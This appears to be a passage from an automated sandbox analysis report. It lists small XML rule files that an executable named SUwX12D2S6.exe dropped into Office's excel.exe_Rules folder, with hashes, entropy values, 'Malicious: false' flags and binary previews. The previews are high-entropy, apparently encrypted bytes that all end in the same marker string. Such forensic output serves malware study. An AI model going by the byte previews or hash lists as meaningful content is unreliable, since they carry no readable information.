SSDEEP:	24:P/4CKHlSHikus2isLZiVPzNDXvhOT0KKVbD:P/pql8gSQ0dvcT0dFD
MD5:	3524FED5C3584F8E1C615D5C05658736
SHA1:	CBE4C2BBC3D8017F9671C7EC8FF147D3B1206017
SHA-256:	F9C3AEB6F1852DD5C88E5CE1DE7BE8A82A376DB342D6866FF539BD671F4D464C
SHA-512:	47F1DDCB5591B2673C6CC39F58AD737B7A6C72D60BC896B00794AE91FED91F3E88B554D9068AB39641B1865B3E83DABC8B99B6E250B5F757BCD888F03F7EFBE4
Malicious:	false
Preview:	<?xml.I.Iu..,S8}..V.[......2.......rK.......jz...+..\Mjv.Y.e.Us.6jomA.T......pK#T>w..C...`..E .......1.{.Vc{D.#&....0...M..!l.i...8P.Y?KJ#...=..$..0.7..Ah.V..u..d,.I.#.....XL9......l.......@...\W4.>........vl'....\z.X.1Yc.Q.....g0..-.]Y..{...A:F..'....T...g......52J.i...<..g......S...@....-s.....=d....Y.9._U.O.....<U.{...i.eG......A..0*...h.....Uh?.........rb....--9q.y...j L".....HA.<.S.QM6..........\?4F....3..P]...\LB..8.....'Et:..?zu..O...W..I....co.ez....#.G%.w8$n...~..$...+aj.l4/..K...r_.?J.....l.B......g.2 R......BH....9.&{.S..T_..h..1zj5!..R..Cxj.$.%.O.l...~N1...X......sO..a.....2.K..q.jQ..z57g.Vsl..%...b..n..sr\|dXB...G.E.....\|n.q.c ...s.:......n.....4h..:.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.765289196671448
Encrypted:	false
SSDEEP:	12:01aRx1A6vQE6gJtSm1TWktTgpn58mEz2yZgaeP+DAqpYkxjVcii9a:01CxO6XJcAhm51xyK8AY3VbD
MD5:	D3AFC69EDB6C4A2DA580A8D0842BD58D
SHA1:	52133D3AE9CDD982D3759454BEA864162537B1E2
SHA-256:	073C7FBB62E6EA0BB11C1D1D6F7BC50B0578355BB120D90050E234473B0D6936
SHA-512:	F81FE73DD5B9DF72C9497C6BE854A12845B382A8FACC1B7254869FA64911D1F597E3562CE5F21BC524FBA45075172E528A12A9D9EC51D2CB147F4852D8726DB4
Malicious:	false
Preview:	<?xml.g.of-Ut..h....3fw..e...F..UU...AT..)2..%.8.....b9.O..gar..Z...u..JxHH..K%\|..."..>s......O.......o...X%v..i...D.L.L......;b.2....y.d..+..b.0.(H,...dr.A/..ib..mck6r]2...:U.(.Rb.q.j....yR..<.S..`W..`....~-.w.9..a..m.:.x.....SZu...ghE.+[..>$..U..V.3..{..t(.m^.\N.......%....3....._"....N.....eS..J../9.....3 _Vs....b:.....\|\..x...-.(...4.eL}...e5W.....{...,..M......I...O..Bp...iw..=..<........7.`.IG......A.r........d......lT...8C..B......]......PP?..K..X&..{...f.;o.Cmq..U....n.-..}.-....\H-=..w......6..J......u....' 3..U..9.......=.._..#............i..5lh...k.h.....*....5.8..7cM.L.pU&.L...r.e...A(.#..4./'..q.........=t.J.W..qo(.;7..T.h...])+.8I........&.....X.=..K.#....\|V......Z.[...Or(.".c.(........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.71110014163281
Encrypted:	false
SSDEEP:	12:i074uis4TGjC+booEIFk/MTComapV3+Ja7+8Shq3/ZnNzuiHflO5/jVcii9a:i011cv+bo38kkOopQISM3NNzBfqbVbD
MD5:	C491FB825BC1F73F64137CEBEB2FC1BD
SHA1:	7A3D43BCF73D972E0DA68B5DF3BC5B0983A0D973
SHA-256:	5D678E8E2CA5E36DF6BC4446070F9805BEF3465928D4FD0B14C61F86D52D5E48
SHA-512:	19AA9F377D8630DD5BED273DE0113DD1B2CABF88C12D155F8A72DEFE20DEEC1019610F2C060C2F98FB8F8449675AE4E76C2ACE02EAE6392059EE9D83EEA9EA3B
Malicious:	false
Preview:	<?xml@I9!.s.0.@...\|.e.c.[.0.P.b..Y.;..b.A N....[..@+=....1A.H.P.0;.6.i...qP4..;p.6...._........>d.O.Q.Pw.`..L.O..ha?-..jC.&.a.5.ce(;...C>...{#.\|'N...9..:...J3....,..".{...#d.F8.4.D..LG..g..d.i....T...2q.kz\|oj..K............0..I.@..k..]UC....P.\..c .!.+..J..+.....tM.......)...)l.9....O........MQ6'..vjk....G,.e..0...+S....hj..wv+.c.d..Qr.h.P\|1&.1GW.;/.!.&..x.bH.v:.m....'5/.2..f...0.)....% q.\|.....>..y..8bM....;..<...!.f...Wi.@b'...Q.d.........8.V.-Ek.a+y.7P.QUk<....%i.y..?......a.......~.EI.#..w...Vf.aM>\z.....n)lw2QE.n..4g.ye.....R....=..[..I\G.......c..0../.Khd (x.o.+o..Q..+..C.(N.j...]..b..w...I.q.....7\k#L...e.....N.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.728003411721591
Encrypted:	false
SSDEEP:	24:uM6caUxCRBg67Xqkw3C6a8/+Zmpy73b+6VbD:uM61rg6r8yB8/QPxFD
MD5:	3441339EBE61078E74909C760D2C78C2
SHA1:	5E885C30BA77B2BEC1F7ECEB9DCBF532194A72B6
SHA-256:	F4E0C2D73DFC39B845067EC83776D29A78BD09E94E0970D6F4EADAACD97BDBAC
SHA-512:	DD295895EE8586DEC386AA470B6D37EC48C548FB677983C88F61D48C5C875B5C306E99C6F81796BA1887093D3653B1117BBBA1A4B70BAC82CF3AD0973B13647E
Malicious:	false
Preview:	<?xmlQ..W........3;...l.=]..q..._.....=..,....#.../.X.&B..lo..N..E...Q...6A.1....+.....+_..`..\|....,.i.i...Q..Z...b......~).U....'....v........sVL..}.M.........6.E.hm#..Qi_w....[]Ug0.v...5..o....h.f5T.4.)C....Z..h....(.m.e./.&FFO...Q.^.H....X.k..v.W.q...!PhCb...A`.."e.M.RZ;......{i......z..j_sc.[X.\.[.......V...d..XE.eMh.<R..G".q.I5q.l.,z`....G..7..#.........`.I..A...rw#....=p.5ME#W....j.....k.-UB.f...3...X.[/^.!.Uc...Xe...=...6dt....S[T...+?.).z..i.....mC......]K.`/....?Y.kK.jA..^.....sV7].U!.kCF..i}X....)..m,o.1..A.......E.......p$.Ln. ._o.`..$....J.$.v.:.......}.f.z`^...g..n./..:..v!%z.....D.3gh..S'../.v/..C<....M.X.O.OF..b.~.4.....6AP..p.,.....M.,..S..]...R...B...Wd....L.,...W\|.^.jPitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.689080819805612
Encrypted:	false
SSDEEP:	12:t2KigyDVQGaZZnBUFKoUI2tAk6uKBnJugZnmf6qokPpi6V1syhjVcii9a:tRZyDVQGaHBUFKoUok6uwnmiqFPpio1H
MD5:	0989A3D219B2264FC343684BBEA943C2
SHA1:	1FF14D6AD7455317231BC03E4770B77DBB96CFBE
SHA-256:	1D47C0128F628EFB3ECC9061802C5FE67D6391F479BC70A239581CC1F2D54FAB
SHA-512:	85D11A4039A92A8C273E059745FD56F39A26B255ED19159D2E8003BDBDCC186756B94DE31085D04F8336FAA54F54707CAE6A3711B94598392CA876491DAF843A
Malicious:	false
Preview:	<?xml.h..h..R.=F.(.@....`V.......f^..M.....t.c.....HI.v..4....n..0...u-.....w.."...O4E\...&..d.!..;...x:.e......P....q.t.._.....r.......k.m.{7QQ.MG..`......._.{...rwY.;y.vF..eJO..8...r. :l....4!....WR;.8i....u..."P......=_+.~..F$[.w.......#.t..J@X7...I....Al.9.o..3.)...RF.A..{.A...`..........?..;h.nm+.."`#....!...u8.!.....q..-r.5oH.@9)8.H...#...mD....xd...r..*.1q&.:....\U.i.{..Q.-@4..&...H...f.j$...SMFjDP.NxR..r1.Vx{....a.Yw...Ge....E.2.P"NH1.mf...~....Ryg.g...Q......b..6m....HJ9yV0...L.....6Io.SU{:s..;.@./!p.'Jn...]6...;../...t.^.w..>.e..frO.OP......)I@.v...~..t.\u.N3..n.)Q....;).,C.0.2+.'.Y..5.A...!..5~....Cr...b...@.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.709791212307932
Encrypted:	false
SSDEEP:	24:dK6kH1RCZpNf4xQeTA+toD/zZaYnVDyE4ot4IzrnVbD:1gRqpNwxUcIVmE4s42FD
MD5:	917BD2128D7DCEE48A54641D0620EAE4
SHA1:	7AC00EFFC73EB2300B4CFD93D51321A004FD4E38
SHA-256:	A13C3043504E7B3974586D698E80180D9D13BBB8C80E70C3529AD890C66D17A9
SHA-512:	75B86AB5C68B4F1A1CF530FCA49F7D8321993BD71276ECD5062924C3CF19B19EE3D9823AB39DCF62767599E2771768C4CEB3641F8D662860D8DB4A38D000A16E
Malicious:	false
Preview:	<?xml.#.Z[F...M<....f..y.D....s.{??.v...@.RU.W.8,.Er.R@3.a...mW....96........L..}....../.7...CV8.......:...+(..I.;...9v..p..sPKd....[...c}.....1..E...&.t.0.M=.[W4.#.wd..e5<....'.k.9.......5V....t[x..f....[.i.!.....[....T.........>=.8C..}..p%..a....Ry.<......Yy.+?.mj.ne3...OG..s.e....i..1.+.(.k..Ig..C....Zv.^.l..\I......RDMb....\|A76T....,p....!j..^`.B....................N_"m...*W.gv.>..`..WD...c..@....4..n..}....%..U_..g@....aW.Py5..F..V}..U...'...ia'.... }.A.....;..Y..G......>....%..j..C..p/=...f>..~...'~v.N[..j.h....#/-...`.#....kZ3O`......Qa.UV.'....j.i#;.X483WH.>Z..FX2T+:.Ox...X.V...I.Q.M.t..K+RJ.C.r...!'......-..g.G]...(....."....]...c..5:VC.oN..0..J.K...cY.ag..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.697255712223224
Encrypted:	false
SSDEEP:	12:XI8sb3qPgU/mIeNHKYZb65xIBtrrRDuzkbjuaaDS3/VF3nGNJZ38YjU47azrsAMO:XIDb3qr/mtx64XDSSGGvWb+YjU1fsAz/
MD5:	9FD3CEBBB46EF7CBA339D58E013128FD
SHA1:	AD4FD4F3A17F31446D9329A4F7AE513B480A3BB0
SHA-256:	98ACF77EEC7851D94C4AFE19F9602ABCE31DF422E52804EA7D27C25D2D7939DD
SHA-512:	467393B6CFDE29F35A8D683D2E241B8A81EAE129244AB7FAFC7802CA30D48A65B509D0E45384D1DAD685873CFF4A72C658202C8216807052A398C19BB89E1861
Malicious:	false
Preview:	<?xml.q.(.....\|....T.&.#.'...Y=......>J.n_.J.@.P.q....3....n..<...x.[nM.O...R..'..'.....j.a.&.ul...V..........e.`\|..}y...?{&.YF..F....b.....h......./Z. EiZ7<$C..AXL..=..V....../_..1......Y@..z..RO......Np.L.........4..#......s".w..`..FX.\|. h..Qx.i.........k.nRs.v.S.... .....#..w(.v....^....@}....LSD...>...K.Q.....Y....`..^.N...z..Xn...fQ..p.}:..no.2...<..N3AV.,.=.h...bAzJ.a.ll.p.-.T.3._.6.1...........li..q.....x.t..J. ..J...$..S.nt.d{..r[./...._....e..T.,.{.....`.5.l..Y....8.W...V!t.=..Z......X.ys...F.y...\|3.pv... ..Z5..k.&..$8.RF...\.t2\|...EI.i..q......fgs...{. .R.:..Z.C.j..B..B..S....Ve..q.{A.6.:a:.......}MKr.Y...!9bj......Hw....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.747909347836398
Encrypted:	false
SSDEEP:	24:0dNSx9uIT9Q9rZE6677NQ9vsWXA4BJ8uKVbD:0dNSxd6lZ27hqvs3+JYFD
MD5:	C334027E1323BFADDB00B0F862F1ECFC
SHA1:	075359E6B0B575710F0CD4214A98685342A99944
SHA-256:	8BF74CFBFA842BFB65D81B1FCCBB4DDFC85A1EFFDC34429ED88FD77DBE5BD7FF
SHA-512:	7F455639D99B4D4C95097A3B1C997A26445D7FF11E6DC7A6229112100E24387BAB1EE342009F03C75589661ED48C2325B0FC4B85ADFC47248C7402F8AE2ADF84
Malicious:	false
Preview:	<?xml..}..f........{.W........<o.D..I...9.%jL....M.......N?..k.;.nT...!/.........Z..z..3..C.\.et.........zBL..4M7J. .u;.l....S_..(.r\.....SY...,D..k.p...bs...+..x....0/......:.f.^...]...G..B. ...C..h.:.ac.vH.A......y=...P.D....#:.a.H.[.....;..N.ws.k....2c..(...&`...^;.#..n=...L......`tm.hy..H.5<.>-..p8..y.Z*...;f.sF.@..........@..nq.,......epV..V..f$.......H.0,.Gk{.;.A'}./.).9E..4..hRf..K.2.......L...0.}..tz..tk...fdC.B...=....QTuj..e..Z..%..n.....&.\|..T.....qs.......+.PH=2.>..g.....C.E.C..5.,.\&.;...P._L..(...r......^y..J...V.....g)?B.?>d..(.8...sN....H.%....8....Wk.g.Q.(.9..~.>..........}.....w~T..j7..~.....W......TJ#o.~$.m.^..MKn.N...Y......t.........._&.b4~.2_...~....D.J.@...-e...+.R.I.7...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.694071437553835
Encrypted:	false
SSDEEP:	12:iHGLr5jZKHBYtynxNhA4+kufYD20QY9OxQCpEsCTNoa70aG71hbojVcii9a:iHCAbhArYEEavvSVbD
MD5:	DFE05C2BE19702B7C619B127E78C5780
SHA1:	5907CD6C08D170B5ECB00FDFE961CBE57E6DE294
SHA-256:	648F4E77D013172324E8B4D15B692E5CF2CB5EEC768801CB9DC4951BC7169AF0
SHA-512:	5507977A500FC08C5E4DB7B422E0303558386580D877433220F661DD53F5CCD66ADB415A4CE1C8C7CF95E6C1BB7C2C3B29337F96EB674DB5497574925B98CC7C
Malicious:	false
Preview:	<?xml.v)..,5p.!......uU..7.J.g...v.t....X.yb...>._..-N...5t....c.3......[A.^....Kx....E.Z...XO.0.....d.V.;..b...U..M...+Y..x.f.f....IM-Fw.)...v.l.K..d....Lz.S...fy#~...K...}X`E.j...2..gY.X.I..v=~..X....X.[a...D...}..r.......}......m.......B.$.o.<.D..AP....St......0....:..Uh......s....!......4.v.....[.J.(]....s..29Z!L...vF..... ...../,. .n..y.{.}X...S./{.{KXht..#s{.R..SL..&`..Z.).Y.v).<.......R..?..ki;F...<E..A..7F.S,..3..1...B.....'..#.p.y..A.........h..e&..D.h...M'B...x.....-...KH...3.T..K...,y.]H5..EW.....4.....B..4..i.E....}../%;%l.......[...?........(.:...&...7.$28.._.,:.q....e6L.#p...#J.2.....M...~.>'....K..B.A.d..q..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.758628008850596
Encrypted:	false
SSDEEP:	24:NL2L/T8K5ccynQe4OOEqAacVB1AFXtyIfNMTmVbD:w8uc/Qe47EqvcVB1A7y+NgmFD
MD5:	2E83D582548EF2AB4237978A9428F441
SHA1:	7EC5026B630A6C9D1F60940EDDE8A455A81959B0
SHA-256:	00C0FDB2F62EFC29777036F74FEB44194FFBEF143A0EAC7649DABB095AB55DD1
SHA-512:	3C167D098D07A5C164ACA0230D1773A213819BB84C6E9873FA739FF5FDE4ADBBF9C4ED97EDC7B9C3513DDF5E0FBEA4C77C1A1E5D4E67AE84A04055CE78A9F388
Malicious:	false
Preview:	<?xml.k...Z.%,.>-.....H....)...../.~.......@;J.3....%...T..D.El.k!....G.z!9.{H(b........f/.).k...<...{/.q.V2.b..E~;.iQ...........sZI._.}....=..p.c...A4[...Uz\.;...:./...M.w....@..U..\.-.x.t...Y.1.....#..!...yuJ....).....Y..BQ1`.....mL..U.C..C+`.....M~:(.Q.C!..s].f..U..+5~.g/..Nez.A....U.l fS..^Ol...S...2...}.........5cB..b.b..\|\|.H...'.4I.d.:.z...dT...S..!..}'.....U..t....?'(..c.N..q.W.G..8..R.....r....Q"...r..n.^....h..5...h.....V9..)P..T....... .Jv.=..$.....0h..OQL...CN.&P.\{.p.<...%..H.E.. .....*=....mp.M}3.!..1.[F..f}....i..".q...v.tX.u.P.Rtc.2.ZVNg ...j.....\K!..hB..F.k..t. .H..0;.v........?.E.\|'8.c..'.].=[...TX.....g......ZQ6..9...0..,...k...$....y...l.^\..}....Vf..G<Kitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.718167130006155
Encrypted:	false
SSDEEP:	12:y3vARBoXMwyEv3r7N6k9HKw1up+hiZkszzRcwBZulZeGd9bRgiyl8ni282G1i3g4:tQMw9vNP9HKw1uk4ZkkcgGj92Qi28Ag4
MD5:	C385D9D8CD861ADCE1E8B2F92C18F141
SHA1:	313341A088A57542CB7702FDEEB0A8CCBE3C35D8
SHA-256:	D9A54B12C5ADB8FE996E6583BDABDB82110966F54378F4501E671C306188B327
SHA-512:	027ECB9AD313F8D76F08B8290EBC41F47C500E5DD8CD7D0E86CDFC6619706147BD3C1525119F0ABE9D183A1BD8C6646065BB1D8DFF13E2D428773C96C78AB070
Malicious:	false
Preview:	<?xml...hM....%r.0~.=...dUf....O....h.\.[...C._....=..o.R'm...a...}...... ....;6.2.F...iB5.y..R.J...0.....\|......#.b%p.........n..V 4#.G..e.f..%...C.r.+...7=..r......:}..x..ZV(\|_6......w...,<..%......>.\m3uA...p .*.....R.<....6.Q.(.....hKM...}........VQy.........:..K....%.!...P......p....J..T.........^w.. .././..<...JYh.6.\|........5VZ...h........o.}......t.BJr..w......s...!.$;?~d..q.\l.5Q.I.iuo.>P....Ak..Q....@........=.q.<?.......fI.e_.e..[.<9J..0r..8+......[..-QL.kAB..A.kG .^+........HDi..{....A$..1........`....x...qr..yN.....d..x.wAz."....^&.V......H..ne..ZY.3.... P]..j.P.u..k"7.".....m-.B..O^Xe.m<...plF..1.l...&...W...k.__s..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.7730965887423515
Encrypted:	false
SSDEEP:	24:pv1c3pxYIULptJFALZg0rwgDbTQtvVSmpkox1DU0D+v6VbD:d1MkpP+LZgz0T6omhLD/D+SFD
MD5:	27C498EBB038C5D1C322CC2B432CE2C7
SHA1:	80BAF5F7F253FE2D9A2A360B106772A8E7E83E5E
SHA-256:	AA82D5C2FF4388CB94B31C9B559036658B25C3406DFE62C0D7752D8EF8D00C8F
SHA-512:	54F547ACBD1E5E6BAD1B514414B094FBCDC7F44DD8C92CAF2ED25C436D773BE41F3760EBCFD385D8C04ABC7DC873352430368DEB7C476DCCB8BD2024ECD605A2
Malicious:	false
Preview:	<?xml..O.z......:.....8j..F..:...Tf....w>....\2_)..Q%.)h...97..(..fK.c..TM..PN........@....':"..ZL.....Q.{ ..G..A(.k...ao\..?..Z.....[..........j.s.G.!B.D],N\|....`3..]`f..q.3.6<...........'..e.E.............S^...9.....k....)...........e.]..(.SO.u.5.A.1.S..0..f$..j^\|o.a4XiV.>.f.p.. .0.8 J.ZId8!r...&c.\X...\|..3...2...&....\.#.~..ADg#......:X../.7...'q.J...e.XD...0...}L+W...{3V....KD._..!46...;.a.FU...=..,.W[.......LJP\|.i..q..~.6<'.. ....j.Y...kB...UG#...$...l..\|......>.!...e5..N.P.v....?..1.5F.!......E.}.....u.....j...}(!..O...g{.@w.xfq^..Y0y...~.6N.N.I../...X0.. g#...\C...<...T..l.z.>8'....'.i.].b.....'`R.......U..........._.j.'.i.>...4.....Kk.p.d.[..G-..I...nth)......n.c.......HQ.W..Im?m~\|.tv...}.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.708114866327856
Encrypted:	false
SSDEEP:	12:eRcyrWb+bwQubr6c/9DxhhSCW3rXmEVWx28RV6pWrwPf0jVxpmXWOl9enqmgw8aa:e3SbbrH/9D1SJXmEVIRVEWee/mXWOBmk
MD5:	A3D7D1203E421D34AFBDF5E7AFDB9CA4
SHA1:	F42AC29C3C1B73644CE9F41F851D83A4AA2CFED1
SHA-256:	267D2249D61F5353B7BDC2943A128E2CB425E93C4E99699D2FF6F771E3FEBEFE
SHA-512:	520078BB18CD7CE564475669A6B7B6BC6E92C5DCA998D4DEE356F962BE9E5BBF9867BBC1365B58E48786D1E01D537C9E3BA5F4AB73E5BF8B604391FAFA216AB2
Malicious:	false
Preview:	<?xmlc$.J.. ...h...!.-q..W.....Tw..h....j99v..Rt.v.%......{...J...M.{.13y.b...;..:.`.??.[...>...@V6...l..f.vp....u..8.#.Cm.4BT.'.._....#zs$ic..........g...2.kB.tt...\|Z.<...'.@...T.....i.....d....2`....l..t.~Q..U.i[.@.Z}H.....M...........J~.o....%5.br.R.T..r.;.....3.>G.MvsG..q(..s.&=....O/.....~r=...'.....7J.Y.S.:zA.....hC.B.]..b......n.p..&H.vg....9..M.O.;y.r:..?9N+.7.....<1dG5..J@+AY...M&q.Y.S=s.K.,HUUm...{Y.$..V.x.^g..&.........`...Z.......M...7.C....m..:.f.#6..&..\|"......0.p.!]w.=;...SY;....-2R.J.x.0i........`0..4.I\..8..w.g\.\|.@=N...2n.`....0_.:U..a..B.x...7....&.....R.../....I.].....2.\|.....zr.....r...<.U....B.r.y`....vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7057903145595965
Encrypted:	false
SSDEEP:	12:8DWpChz95Vr+O/PbYOaoRQ7rn1G4Ldc/LFQwe3iB/V5J512L3nHrgT4SjVcii9a:VshQObGs+YLFQw+s/jJ5kni4IVbD
MD5:	3E4B1392C5799AB92BB7C0F5677568F7
SHA1:	AB4AB4181C9241033FE2C6CD82BEFE696DC62061
SHA-256:	D32BE94749062E95FD8C084D74C496F7E838897DECBDA3EAEC887EF7EC2CCBA0
SHA-512:	0961322B10A61F03599F203A4E47C1D86C2B93524A330A59A31965A68A4E28A799A1BC860D5782DF38402F58D73431613761ED1B768373B58F5385612C75DCBB
Malicious:	false
Preview:	<?xmlA.....v..'D.b.p.....".......--..P....Qp..s$..w......M.N...x/.M....jF2..nz[........5....c.........6.n4.+..E....5....;.DK".#...%...........3...g..a...6.<gZ...L..o.8M..[3..(5....pY..zrI..=e..;.....b.....p.Q.R0..~.Q.c..K`..x>....}...?).c...4A..Ef.V..O......67..l..2@..xh..p.i.......+......n....F.z..........Hm.dB.\|1..og..'....].^'....f.....r.S!....t..!......9r.o[~b...r.i..0...EG)DB.....v3)z.2..}........".AK....Y...vq..5P.3..`..\...d.......c..^.pJ)..}g.`...G...Y.#..... ...j....>v..2n.Y...J.q..p6x.w.3.'B.]...vS[1.@."...6..d..kh.l..S.D.E.6..GK]x..1..B....{.O?..a.u.j...-..-. .B....Z..^..!.....MtVxi.....2.N.dj.Va.....<.L..m.m.v.?..~.tr~....[..s.....A.b.bZ...........6.=v...b.-..<..eitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.731378561048493
Encrypted:	false
SSDEEP:	12:KCZgyiHNMBWhqjZ0NeSkvLbWmZOom1fr+e5+b+cPTHH16/3N/N+3IjVcii9a:xviHNMCV1oLbhZl2XMb+6HH1A3N1+aVX
MD5:	70FD0424BB88F1CDA751CB7A8A07C531
SHA1:	CBFAC2E81CE193C9AE7CAC2D6C562D8E5CD3BA59
SHA-256:	8262B47B55F20CF22DED39B626C3AEC0119AFB38727CC1EC8FB1A42EA17AE5EE
SHA-512:	3FDFD19FA3F7378E24F865265CCE4E2C7D496D220B3A759DA3FA4A3969B346DFBC136E0C1B2061E1FB64C14D4EF0CCDE21E34B9AFFFA03BAAB1E44C9B5462C7A
Malicious:	false
Preview:	<?xml/k..r.}..e/....z...;'.Qr..2..2{Z..b.]zg.X.P...Ul_..t...{..'..m.?02&..u&...^.85..._s..s..n.....h...;...X=.$B...`J..).=.S.A).....&e!.$.:.....{.`.c....P>.......c_...K>...W(}S,...dI.P.8....>.....Fw.iD....a....)...mL\|.H.3z..O......T3...]u.?..3..:.....%)%b.Z=;.P..7l..,..#u{M.2..Kk....R..j....R.Z. ..X.J.6I.)....x..\|...3......r.j9k........y..Y$....4..nbU ....R;....8....H..y.....t....yv.......qF.e4n...x...........G.u...e9...WgO.&.C.S.,=._l%....ulk..I.+PV....)8.#].8.....#...jW.?.`.=6....A.3.........h....Y\|.......~$...,k.J....W....ts.r.....I.h..>Ux.. .2...'..Z^.7.....[....S..F.*.ns.[..._.0N<\|X.X..w)..z...3........qbGv.5n9.nL.KE..g.~itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.726258968413215
Encrypted:	false
SSDEEP:	24:sfRsVe6gp+7dB+h40V20I2Xon9a5gg91VbD:spsVeFpT/fXFD
MD5:	6BA528FE8C3202F9F10E9A193DCF7A49
SHA1:	473F3C56EF20FF23F07E1ABEBB7E08462F0B1EF5
SHA-256:	80F38DF0A21636DB899D5593288191AC9AC14E35052328DE7B14DD02916C032D
SHA-512:	051BA7036E11E6A1D0B8A6AEF43C00117B4E0D64C3CE0C5419813846E2637BFA7736AA9551B5DCB9B568F44A48C97B2E072714FC7619B92CD4E9ECAFCFFCD51E
Malicious:	false
